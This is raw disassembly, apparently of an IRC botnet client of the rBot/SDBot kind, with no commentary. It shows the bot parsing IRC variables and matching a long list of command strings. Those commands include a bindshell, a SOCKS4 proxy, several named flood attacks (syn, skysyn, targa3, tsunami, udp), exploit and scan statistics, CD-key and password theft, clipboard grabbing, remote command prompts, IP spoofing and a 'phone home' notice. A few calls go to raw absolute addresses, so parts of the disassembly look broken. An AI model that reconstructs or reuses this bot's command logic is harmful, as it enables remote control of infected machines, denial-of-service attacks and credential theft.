loc_4026C2: ; CODE XREF: sub_401ACD+BB1j
; sub_401ACD+BB8j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026FD
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 18h
loc_4026FD: ; CODE XREF: sub_401ACD+BCAj
; sub_401ACD+BDEj ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_402656
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40271A: ; CODE XREF: sub_401ACD+C99j
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_40275D
mov eax, [edi]
cmp eax, ebx
jz short loc_40275D
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 0Ch
loc_40275D: ; CODE XREF: sub_401ACD+C75j
; sub_401ACD+C7Bj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40271A
mov [ebp+var_2C8], 1
loc_402772: ; CODE XREF: sub_401ACD+B01j
; sub_401ACD+B2Fj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_40278B
cmp [ebp+var_2C8], ebx
jz loc_40297C
loc_40278B: ; CODE XREF: sub_401ACD+CB0j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_417EEE
lea eax, [ebp+var_C4]
push eax
push offset aUser_0 ; "$user"
push edi
call sub_417EEE
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_417EEE
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08D
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_417EEE
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_417EEE
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 14h
loc_4027FD: ; CODE XREF: sub_401ACD+E28j
test eax, eax
jz loc_4028FA
push edi
push [ebp+arg_0]
call sub_41B900
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41B5F0
lea eax, [ebp+var_A0]
push offset asc_42C718 ; ")"
push eax
call sub_41C0F4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_402849
cmp [ebp+var_A0], 39h
jle short loc_40285F
loc_402849: ; CODE XREF: sub_401ACD+D71j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41B5F0
add esp, 0Ch
loc_40285F: ; CODE XREF: sub_401ACD+D7Aj
lea eax, [ebp+var_A0]
push eax
call sub_41B779
test eax, eax
pop ecx
jle short loc_402885
lea eax, [ebp+var_A0]
push eax
call sub_41B779
pop ecx
mov [ebp+var_94], al
jmp short loc_402899
; ---------------------------------------------------------------------------
loc_402885: ; CODE XREF: sub_401ACD+DA1j
call sub_41B8E2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_402899: ; CODE XREF: sub_401ACD+DB6j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41AFE0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B590
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 30h
jmp loc_4027FD
; ---------------------------------------------------------------------------
loc_4028FA: ; CODE XREF: sub_401ACD+D32j
mov edi, 1FFh
lea eax, [ebp+var_4488]
push edi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push edi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4AF0]
push offset asc_42CA2C ; " "
push eax
call sub_41C0F4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40294A: ; CODE XREF: sub_401ACD+E92j
push offset asc_42CA2C ; " "
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40294A
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401E94
add ecx, 3
mov [eax], ecx
loc_40297C: ; CODE XREF: sub_401ACD+CB8j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409802
push edi
push offset aRn ; "rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409802
push edi
push offset aDie ; "die"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FC
push edi
push offset aD ; "d"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FC
push edi
push offset aLogout ; "logout"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404954
push edi
push offset aLo ; "lo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404954
push edi
push offset aVersion ; "version"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404945
push edi
push offset aVer ; "ver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404945
push edi
push offset aDedication ; "dedication"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493B
push edi
push offset aDed ; "ded"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493B
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404922
push edi
push offset aSt ; "st"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404922
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aUnsecure ; "unsecure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aUnsec ; "unsec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aBindshell ; "bindshell"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi
push offset aBd ; "bd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B40
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42C66C
loc_402B24: ; CODE XREF: sub_401ACD+10C1j
; sub_401ACD+10E7j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B384
add esp, 20h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402B40: ; CODE XREF: sub_401ACD+1042j
push edi
push offset aSocks4 ; "socks4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FC
push edi
push offset aS4 ; "s4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FC
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B90
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C644
jmp short loc_402B24
; ---------------------------------------------------------------------------
loc_402B90: ; CODE XREF: sub_401ACD+10ACj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB9
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C628
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402BB9: ; CODE XREF: sub_401ACD+10D2j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE2
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C60C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402BE2: ; CODE XREF: sub_401ACD+10FBj
push edi
push offset aLogstop ; "logstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C0B
push [ebp+esi+var_8C]
push 25h
push offset dword_42C5F8
push offset dword_42C5EC
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C0B: ; CODE XREF: sub_401ACD+1124j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C34
push [ebp+esi+var_8C]
push 18h
push offset dword_42C5CC
push offset dword_42C5BC
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C34: ; CODE XREF: sub_401ACD+114Dj
push edi
push offset dword_42C5B0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C5D
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C5A4
push offset dword_42C598
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C5D: ; CODE XREF: sub_401ACD+1176j
push edi
push offset aSynstop ; "synstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C86
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C584
push offset dword_42C578
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C86: ; CODE XREF: sub_401ACD+119Fj
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CAF
push [ebp+esi+var_8C]
push 10h
push offset dword_42C55C
push offset dword_42C54C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402CAF: ; CODE XREF: sub_401ACD+11C8j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD8
push [ebp+esi+var_8C]
push 11h
push offset dword_42C530
push offset dword_42C520
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402CD8: ; CODE XREF: sub_401ACD+11F1j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402D01
push [ebp+esi+var_8C]
push 12h
push offset dword_42C508
push offset dword_42C4FC
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402D01: ; CODE XREF: sub_401ACD+121Aj
push edi
push offset aPacketstop ; "packetstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402E57
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C5A4
push offset dword_42C598
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 0Eh
push offset dword_42C584
push offset dword_42C578
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 17h
push offset dword_42C4E4
push offset dword_42C4D8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 16h
push offset dword_42C4CC
push offset dword_42C4C0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 11h
push offset dword_42C530
push offset dword_42C520
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 12h
push offset dword_42C508
push offset dword_42C4FC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 0Fh
push offset dword_42C4B0
push offset dword_42C4A0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 13h
push offset dword_42C490
push offset dword_42C480
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 10h
push offset dword_42C55C
push offset dword_42C54C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push ebx
push [ebp+var_4]
push offset unk_42C44C
push [ebp+var_88]
push edi
call sub_409A72
add esp, 34h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402E57: ; CODE XREF: sub_401ACD+1243j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402E80
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C4B0
push offset dword_42C4A0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402E80: ; CODE XREF: sub_401ACD+1399j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA9
push [ebp+esi+var_8C]
push 13h
push offset dword_42C490
push offset dword_42C480
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402EA9: ; CODE XREF: sub_401ACD+13C2j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402ED2
push [ebp+esi+var_8C]
push 17h
push offset dword_42C4E4
push offset dword_42C4D8
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402ED2: ; CODE XREF: sub_401ACD+13EBj
push edi
push offset aPingstop ; "pingstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EFB
push [ebp+esi+var_8C]
push 16h
push offset dword_42C4CC
push offset dword_42C4C0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402EFB: ; CODE XREF: sub_401ACD+1414j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402F24
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C404
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402F24: ; CODE XREF: sub_401ACD+143Dj
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E4
push edi
push offset aFfstop ; "ffstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E4
push edi
push offset aProcsstop ; "procsstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CC
push edi
push offset aPsstop ; "psstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CC
push edi
push offset aClonestop ; "clonestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FA1
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C3B4
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FA1: ; CODE XREF: sub_401ACD+14BAj
push edi
push offset aSecurestop ; "securestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FCA
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C390
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FCA: ; CODE XREF: sub_401ACD+14E3j
push edi
push offset aScanstop ; "scanstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FF3
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C370
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FF3: ; CODE XREF: sub_401ACD+150Cj
push edi
push offset aScanstats ; "scanstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B6
push edi
push offset aStats ; "stats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B6
push edi
push offset aTransferstats ; "transferstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A0
push edi
push offset aTrstats ; "trstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A0
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458A
push edi
push offset aCbstats ; "cbstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458A
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404574
push edi
push offset aExplist ; "explist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404574
push edi
push offset aReconnect ; "reconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404555
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404555
push edi
push offset aDisconnect ; "disconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404533
push edi
push offset aDc ; "dc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404533
push edi
push offset aQuit_0 ; "quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EB
push edi
push offset aQ ; "q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EB
push edi
push offset aStatus ; "status"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aS_0 ; "s"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aId ; "id"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aI ; "i"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aReboot ; "reboot"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4031BF
call sub_418337
test eax, eax
mov eax, offset unk_42C2AC
jnz short loc_403191
mov eax, offset unk_42C284
loc_403191: ; CODE XREF: sub_401ACD+16BDj
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 1Ch
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_4031BF: ; CODE XREF: sub_401ACD+16AFj
push edi
push offset aThreads ; "threads"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aT ; "t"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aAliases ; "aliases"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aAl ; "al"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aLog ; "log"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AB
push edi
push offset aLg ; "lg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AB
push edi
push offset aClearlog ; "clearlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404292
push edi
push offset aClg ; "clg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404292
push edi
push offset aNetinfo ; "netinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404258
push edi
push offset aNi ; "ni"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404258
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422D
push edi
push offset aSi ; "si"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422D
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F3
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F3
push edi
push offset aProcs ; "procs"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D0
push edi
push offset aPs ; "ps"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D0
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aKey ; "key"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aUptime ; "uptime"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402A
push edi
push offset aUp ; "up"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402A
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400D
push edi
push offset aDrv ; "drv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400D
push edi
push offset aTestdlls ; "testdlls"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF4
push edi
push offset aDll ; "dll"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF4
push edi
push offset aOpencmd ; "opencmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB5
push edi
push offset aOcmd ; "ocmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB5
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40340A
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C1C4
push offset dword_42C1B8
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_40340A: ; CODE XREF: sub_401ACD+1923j
push edi
push offset dword_42C1B4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_403527
cmp [ebp+var_8], ebx
jnz short loc_40343E
push ebx
push [ebp+var_4]
push offset dword_42C1A0
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_40343E: ; CODE XREF: sub_401ACD+1955j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_40344C
; ---------------------------------------------------------------------------
loc_403449: ; CODE XREF: sub_401ACD+19CBj
mov eax, [ebp+arg_18]
loc_40344C: ; CODE XREF: sub_401ACD+197Aj
cmp [eax], bl
jz short loc_403453
inc eax
jmp short loc_403458
; ---------------------------------------------------------------------------
loc_403453: ; CODE XREF: sub_401ACD+1981j
mov eax, offset aEmpty ; "<Empty>"
loc_403458: ; CODE XREF: sub_401ACD+1984j
push eax
lea eax, [ebp+var_2C4]
push [ebp+arg_20]
push offset aD_S ; "%d. %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_403449
push offset unk_42C16C
call sub_4151AC
pop ecx
loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj
; sub_401ACD+2F43j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401E94
push edi
push offset aSpoof ; "spoof"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404AF4
mov esi, [ebp+arg_10]
push offset aOff ; "off"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404A22
lea eax, [ebp+var_2C4]
push offset unk_42C138
push eax
mov dword_4CE728, ebx
call sub_41B886
pop ecx
pop ecx
loc_4034FD: ; CODE XREF: sub_401ACD+3022j
cmp [ebp+var_8], ebx
jnz loc_409854
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
loc_40351F: ; CODE XREF: sub_401ACD+7118j
add esp, 14h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_403527: ; CODE XREF: sub_401ACD+194Cj
push edi
push offset aGetclip ; "getclip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F74
push edi
push offset aGc ; "gc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F74
push edi
push offset aFlusharp ; "flusharp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5D
push edi
push offset aFarp ; "farp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5D
push edi
push offset aFlushdns ; "flushdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F25
push edi
push offset aFdns ; "fdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F25
push edi
push offset aCurrentip ; "currentip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEB
push edi
push offset aCip ; "cip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEB
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB0
push edi
push offset aRlogin ; "rlogin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB0
push edi
push offset aHttpserver ; "httpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C24
push edi
push offset aHttp ; "http"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C24
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEA
push edi
push offset aTftp ; "tftp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEA
push edi
push offset aCrash ; "crash"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4036B3
lea eax, [ebp+var_2C4]
push offset dword_42C090
push eax
call sub_41B886
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403692
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403692: ; CODE XREF: sub_401ACD+1BA7j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
mov [esp+10h+var_10], offset aCrash ; "crash"
push [ebp+esi+var_7C]
call sub_41C070
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj
push edi
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E6
push edi
push offset aSa ; "sa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E6
push edi
push offset aPhonehome ; "phonehome"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_403707
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_409A2C
jmp loc_401F52
; ---------------------------------------------------------------------------
loc_403707: ; CODE XREF: sub_401ACD+1C1Fj
push edi
push offset aFindpass ; "findpass"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40372D
push edi
push offset aFp ; "fp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4034A5
loc_40372D: ; CODE XREF: sub_401ACD+1C49j
push [ebp+var_88]
lea eax, [ebp+var_F54]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
push offset unk_42C020
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_416F1A
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4037D5
loc_4037BF: ; CODE XREF: sub_401ACD+1D06j
cmp [ebp+var_EC8], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2650E43h
jmp short loc_4037BF
; ---------------------------------------------------------------------------
loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j
call near ptr 2660A00h
nop
push eax
push offset unk_42BFE4
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j
; sub_401ACD+1C0Aj
mov al, byte_4315EA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4315EA
jz loc_401E94
mov ecx, edx
loc_4037FD: ; CODE XREF: sub_401ACD+1D38j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037FD
cmp al, bl
jz loc_401E94
mov [ebp+arg_18], edx
mov esi, offset aF ; "#f"
loc_403817: ; CODE XREF: sub_401ACD+2008j
push 0Bh
call sub_40B33E
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_403866
push ecx
lea eax, [ebp+var_2C4]
push offset unk_42BFA4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
jmp loc_403ACC
; ---------------------------------------------------------------------------
loc_403866: ; CODE XREF: sub_401ACD+1D64j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431408, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+arg_0], ebx
jz short loc_4038D7
mov edi, offset dword_431408
loc_40389B: ; CODE XREF: sub_401ACD+1DECj
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4038BD
inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_40389B
jmp short loc_4038D7
